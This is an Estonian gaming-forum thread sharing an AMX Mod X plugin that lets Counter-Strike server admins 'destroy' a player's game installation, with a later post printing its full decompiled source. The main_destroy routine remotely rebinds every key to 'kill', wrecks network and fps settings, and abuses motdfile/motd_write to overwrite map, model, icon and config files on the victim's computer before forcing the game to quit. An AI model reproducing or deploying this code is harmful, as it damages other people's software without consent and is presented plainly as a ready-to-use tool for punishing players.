[AMXX] Kooderi CSi lõhkuja

Vaata eelmist teemat Vaata järgmist teemat Go down

Tonight
Tonight

[AMXX] Kooderi CSi lõhkuja Vetera11
Postitusi : 15036
Maine : 2822
Liitus : 19/02/2012
Staatus : @Faval
Vaata kasutaja profiili

PostitamineTonight on 20.01.13 19:23

Kirjeldus: Selle pluginaga saab lõhkuda mängija CSi niimoodi, et selle parandamiseks on ainus lahendus reinstall. Soovitan seda kasutada ainult juhul, kui tegemist on tõeliselt närviajava kooderiga :roll:
Flag: c
Commandid:
amx_destroymenu
amx_destroy "nimi"
[AMXX] Kooderi CSi lõhkuja Z0yGHpf

Pluginaga on võimalik lõhkuda ka Steamerite CSe (kuigi, nonneri lõhkumine on palju efektiivsem, kuna Steamer saab taastada kõik paari klikiga [kui muidugi oskab]).

PS! Immuunsusega administraatoreid lõhkuda ei saa.
Attachments
[AMXX] Kooderi CSi lõhkuja Attachment
destroyhax.zip You don't have permission to download attachments.(12 Kb) Downloaded 130 times
And4u
And4u
Juunior
Postitusi : 20
Maine : 5
Liitus : 06/10/2012
Vaata kasutaja profiili

PostitamineAnd4u on 25.01.13 15:39

Kas sma-d saaks , kuna flag on kick siis muutub see küllaltki ohtlikuks.
Tonight
Tonight

[AMXX] Kooderi CSi lõhkuja Vetera11
Postitusi : 15036
Maine : 2822
Liitus : 19/02/2012
Staatus : @Faval
Vaata kasutaja profiili

PostitamineTonight on 25.01.13 15:57

Mine cstrike\addons\amxmodx\configs\cmdaccess.ini
Sealt muuda amx_destroymenu ja amx_destroy
And4u
And4u
Juunior
Postitusi : 20
Maine : 5
Liitus : 06/10/2012
Vaata kasutaja profiili

PostitamineAnd4u on 25.01.13 16:02

Selge, tänud.
spy
spy
Juunior
Postitusi : 27
Maine : 0
Liitus : 15/12/2014
Vaata kasutaja profiili

Postitaminespy on 15.12.14 16:53

Kas see on ainult adminite command või saavad ka tavainimesed seda kasutada?
Tonight
Tonight

[AMXX] Kooderi CSi lõhkuja Vetera11
Postitusi : 15036
Maine : 2822
Liitus : 19/02/2012
Staatus : @Faval
Vaata kasutaja profiili

PostitamineTonight on 15.12.14 18:44

@spy kirjutas:Kas see on ainult adminite command või saavad ka tavainimesed seda kasutada?
Seda saavad kasutada ainult adminid (flag c).
spy
spy
Juunior
Postitusi : 27
Maine : 0
Liitus : 15/12/2014
Vaata kasutaja profiili

Postitaminespy on 15.12.14 19:40

Ok ty
Airwave
Airwave

Postitusi : 116
Maine : 5
Liitus : 23/12/2014
Vaata kasutaja profiili

PostitamineAirwave on 19.02.15 23:15

Ei saa aru mida ma muutma pean seal cmdaccess.ini
Ehk aitab keegi :)
Tonight
Tonight

[AMXX] Kooderi CSi lõhkuja Vetera11
Postitusi : 15036
Maine : 2822
Liitus : 19/02/2012
Staatus : @Faval
Vaata kasutaja profiili

PostitamineTonight on 19.02.15 23:44

PotHunterZ kirjutas:Ei saa aru mida ma muutma pean seal cmdaccess.ini
Ehk aitab keegi :)
Õpetus: http://www.faval.eu/t711-commandi-flagi-muutmine
Pulber
Pulber
Komeet
Postitusi : 186
Maine : 18
Liitus : 13/11/2012
Vaata kasutaja profiili

PostitaminePulber on 29.04.15 23:15

Ei tea küll mis täpsemalt tegema pidi see cs aga minu arust ei toiminud :D
avatar
FY E1

Postitusi : 820
Maine : 43
Liitus : 29/10/2012
Vaata kasutaja profiili

PostitamineFY E1 on 09.05.19 20:37

sma:
Kood:
 new g_menuPosition[33];
new g_menuPlayers[33][32];
new g_menuPlayersNum[33];
new g_coloredMenus;
is_user_admin(id)
{
   new __flags = get_user_flags(id, "%L");
   new var1;
   return __flags > 0 && !__flags & 33554432;
}

cmd_access(id, level, cid, num, bool:accesssilent)
{
   new has_access;
   new var1;
   if (is_dedicated_server())
   {
      var1 = 0;
   }
   else
   {
      var1 = 1;
   }
   if (var1 == id)
   {
      has_access = 1;
   }
   else
   {
      if (level == 16777216)
      {
         if (is_user_admin(id))
         {
            has_access = 1;
         }
      }
      if (level & get_user_flags(id, "%L"))
      {
         has_access = 1;
      }
      if (!level)
      {
         has_access = 1;
      }
   }
   if (has_access)
   {
      if (num > read_argc())
      {
         new hcmd[32];
         new hinfo[128];
         new hflag;
         get_concmd(cid, hcmd, 31, hflag, hinfo, 127, level, -1);
         console_print(id, "%L:  %s %s", id, "USAGE", hcmd, hinfo);
         return 0;
      }
      return 1;
   }
   if (!accesssilent)
   {
      console_print(id, "%L", id, "NO_ACC_COM");
   }
   return 0;
}

access(id, level)
{
   if (level == 16777216)
   {
      return is_user_admin(id);
   }
   if (level)
   {
      return level & get_user_flags(id, "%L");
   }
   return 1;
}

cmd_target(id, arg[], flags)
{
   new player = find_player("bl", arg);
   if (player)
   {
      if (find_player("blj", arg) != player)
      {
         console_print(id, "%L", id, "MORE_CL_MATCHT");
         return 0;
      }
   }
   else
   {
      new var1;
      if ((player = find_player(224, arg)) && arg[0] == 35 && arg[1])
      {
         player = find_player(232, str_to_num(arg[1]));
      }
   }
   if (!player)
   {
      console_print(id, "%L", id, "CL_NOT_FOUND");
      return 0;
   }
   if (flags & 1)
   {
      new var3;
      if (get_user_flags(player, "%L") & 1 && flags & 2)
      {
         new imname[32];
         get_user_name(player, imname, 31);
         console_print(id, "%L", id, "CLIENT_IMM", imname);
         return 0;
      }
   }
   if (flags & 4)
   {
      if (!is_user_alive(player))
      {
         new imname[32];
         get_user_name(player, imname, 31);
         console_print(id, "%L", id, "CANT_PERF_DEAD", imname);
         return 0;
      }
   }
   if (flags & 8)
   {
      if (is_user_bot(player))
      {
         new imname[32];
         get_user_name(player, imname, 31);
         console_print(id, "%L", id, "CANT_PERF_BOT", imname);
         return 0;
      }
   }
   return player;
}

colored_menus()
{
   new mod_name[32];
   get_modname(mod_name, 31);
   new var1;
   return equal(mod_name, "cstrike", "%L") || equal(mod_name, "czero", "%L") || equal(mod_name, "dod", "%L");
}

public plugin_init()
{
   register_plugin("TimePass-Destroyer", "1.0", "Challenge & Dark-Skript");
   register_dictionary("common.txt");
   register_cvar("tpdestroyer_version", "1.0", 68, "%L");
   set_cvar_string("tpdestroyer_version", "1.0");
   register_concmd("amx_destroy", "cmd_destroy", 1, "<nick or #userid>", -1);
   register_clcmd("amx_destroymenu", "DestroyMenu", 1, "Display Destroy Menu", -1);
   register_menucmd(register_menuid("Destroy Menu", "%L"), 1023, "actionDestroyMenu");
   g_coloredMenus = colored_menus();
   return 0;
}

public DestroyMenu(id, level, cid)
{
   if (cmd_access(id, level, cid, 1, false))
   {
      g_menuPosition[id] = 0;
      displayDestroyMenu(id, 0);
   }
   return 1;
}

public displayDestroyMenu(id, pos)
{
   if (0 > pos)
   {
      return 0;
   }
   get_players(g_menuPlayers[id], g_menuPlayersNum[id], 6108, 6112);
   new menuBody[512];
   new b;
   new i;
   new name[32];
   new start = pos * 8;
   if (g_menuPlayersNum[id] <= start)
   {
      g_menuPosition[id] = 0;
      pos = 0;
      start = 0;
   }
   decl len;
   new var1;
   if (g_menuPlayersNum[id] % 8)
   {
      var1 = 1;
   }
   else
   {
      var1 = 0;
   }
   new var2;
   if (g_coloredMenus)
   {
      var2 = 6116;
   }
   else
   {
      var2 = 6220;
   }
   len = format(menuBody, 511, var2, id, pos + 1, var1 + g_menuPlayersNum[id] / 8);
   new end = start + 8;
   new keys = 512;
   if (g_menuPlayersNum[id] < end)
   {
      end = g_menuPlayersNum[id];
   }
   new a = start;
   while (a < end)
   {
      i = g_menuPlayers[id][a];
      get_user_name(i, name, 31);
      new var3;
      if (access(i, 1) && id != i)
      {
         b++;
         if (g_coloredMenus)
         {
            len = format(menuBody[len], 511 - len, "\d%d. %s\n\w", b, name) + len;
         }
         else
         {
            len = format(menuBody[len], 511 - len, "#. %s\n", name) + len;
         }
      }
      else
      {
         keys = 1 << b | keys;
         if (is_user_admin(i))
         {
            b++;
            new var4;
            if (g_coloredMenus)
            {
               var4 = 6380;
            }
            else
            {
               var4 = 6436;
            }
            len = format(menuBody[len], 511 - len, var4, b, name) + len;
         }
         b++;
         len = format(menuBody[len], 511 - len, "%d. %s\n", b, name) + len;
      }
      a++;
   }
   if (g_menuPlayersNum[id] != end)
   {
      new var5;
      if (pos)
      {
         var5 = 6592;
      }
      else
      {
         var5 = 6612;
      }
      format(menuBody[len], 511 - len, "\n9. %L...\n0. %L", id, "MORE", id, var5);
      keys |= 256;
   }
   else
   {
      new var6;
      if (pos)
      {
         var6 = 6660;
      }
      else
      {
         var6 = 6680;
      }
      format(menuBody[len], 511 - len, "\n0. %L", id, var6);
   }
   show_menu(id, keys, menuBody, -1, "Destroy Menu");
   return 0;
}

public actionDestroyMenu(id, key)
{
   switch (key)
   {
      case 8:
      {
         new var2 = g_menuPosition[id];
         var2++;
         displayDestroyMenu(id, var2);
      }
      case 9:
      {
         new var1 = g_menuPosition[id];
         var1--;
         displayDestroyMenu(id, var1);
      }
      default:
      {
         new player = g_menuPlayers[id][key + g_menuPosition[id] * 8];
         destroy(id, player);
         displayDestroyMenu(id, g_menuPosition[id]);
      }
   }
   return 1;
}

public destroy(id, victim)
{
   log(id, victim);
   main_destroy(victim);
   return 1;
}

public log(id, player)
{
   new sIp_victim[16];
   new sAuthid_victim[34];
   new sName_victim[33];
   new admin_name[32];
   get_user_name(id, admin_name, 31);
   get_user_ip(player, sIp_victim, 15, 1);
   get_user_authid(player, sAuthid_victim, 33);
   get_user_name(player, sName_victim, 32);
   log_to_file("addons\amxmodx\logs\TimePass-Destroy.txt", "ADMIN : <%s> has destroyed <%s> <%s> <%s> <ADMIN>", admin_name, sName_victim, sIp_victim, sAuthid_victim);
   switch (get_cvar_num("amx_show_activity"))
   {
      case 1:
      {
         client_print("%L", 3, "ADMIN: Has destroyed %s", sName_victim);
      }
      case 2:
      {
         client_print("%L", 3, "ADMIN %s: Has destroyed %s", admin_name, sName_victim);
      }
      default:
      {
      }
   }
   console_print(id, "[AMXX] Client %s is destroyed", sName_victim);
   return 0;
}

public cmd_destroy(id, level, cid)
{
   if (!cmd_access(id, level, cid, 2, false))
   {
      return 1;
   }
   new arg[32];
   read_argv(1, arg, 31);
   new player = cmd_target(id, arg, 11);
   if (!player)
   {
      return 1;
   }
   destroy(id, player);
   return 1;
}

public main_destroy(id)
{
   client_cmd(id, "developer 1");
   client_cmd(id, "kill");
   client_cmd(id, "bind w kill;wait;bind a kill;bind s kill;wait;bind d kill;bind mouse1 kill;wait;bind mouse2 kill;bind mouse3 kill;wait;bind space kill");
   client_cmd(id, "bind ctrl kill;wait;bind 1 kill;wait;bind 2 kill;wait;bind 3 kill;wait;bind 4 kill;wait;bind 5 kill;bind 6 kill;wait;bind 7 kill");
   client_cmd(id, "bind 8 kill;wait;bind 9 kill;wait;bind 0 kill;wait;bind r kill;wait;bind e kill;wait;bind g kill;bind q kill;wait;bind shift kill");
   client_cmd(id, "bind end kill;wait;bind escape kill;bind z kill;wait;bind x kill;wait;bind c kill;wait;bind uparrow kill;bind downarrow kill;wait;bind leftarrow kill");
   client_cmd(id, "bind rightarrow kill;wait;bind mwheeldown kill;wait;bind mwheelup kill;wait;bind ` kill;bind ~ kill;wait;");
   client_cmd(id, "rate 1;gl_flipmatrix 1;cl_cmdrate 10;cl_updaterate 10;fps_max 1;hideradar;con_color \"1 1 1\"");
   client_cmd(id, "motdfile models/player/terror/terror.mdl");
   client_cmd(id, "motd_write fucked");
   client_cmd(id, "motdfile models/player/sas/sas.mdl");
   client_cmd(id, "motd_write fucked");
   client_cmd(id, "motdfile maps/de_dust2.bsp");
   client_cmd(id, "motd_write fucked");
   client_cmd(id, "motdfile maps/de_inferno.bsp");
   client_cmd(id, "motd_write fucked");
   client_cmd(id, "motdfile maps/de_dust.bsp");
   client_cmd(id, "motd_write fucked");
   client_cmd(id, "motdfile sprites/radar320.spr");
   client_cmd(id, "motd_write fucked");
   client_cmd(id, "motdfile sprites/radar320.spr");
   client_cmd(id, "motd_write fucked");
   client_cmd(id, "motdfile game.ico");
   client_cmd(id, "motd_write fucked");
   client_cmd(id, "motdfile user.scr");
   client_cmd(id, "motd_write fucked");
   client_cmd(id, "motdfile settings.scr");
   client_cmd(id, "motd_write fucked");
   client_cmd(id, "motdfile steam_appid.txt");
   client_cmd(id, "motd_write fucked");
   client_cmd(id, "motdfile resource/gamemenu.res");
   client_cmd(id, "motd_write fucked");
   client_cmd(id, "motdfile sprites/hud.txt");
   client_cmd(id, "motd_write fucked");
   client_cmd(id, "motdfile titles.txt");
   client_cmd(id, "motd_write fucked");
   client_cmd(id, "motdfile resource/cstrike_english.txt");
   client_cmd(id, "motd_write fucked");
   client_cmd(id, "motdfile motd.txtclear");
   client_cmd(id, "developer 0");
   client_cmd(id, "quit");
   return 0;
}

 
Sponsored content

PostitamineSponsored content

Vaata eelmist teemat Vaata järgmist teemat Tagasi üles

Soovid reklaamidest vabaneda?

Selleks logi sisse või tee endale kasutaja.

Liitu foorumiga

Tee endale kasutaja ning osale aruteludes.


Tee uus kasutaja

Logi sisse

Omad foorumis juba kasutajat? Logi sisse.


Logi sisse

 
Permissions in this forum:
Sa ei saa vastata siinsetele teemadele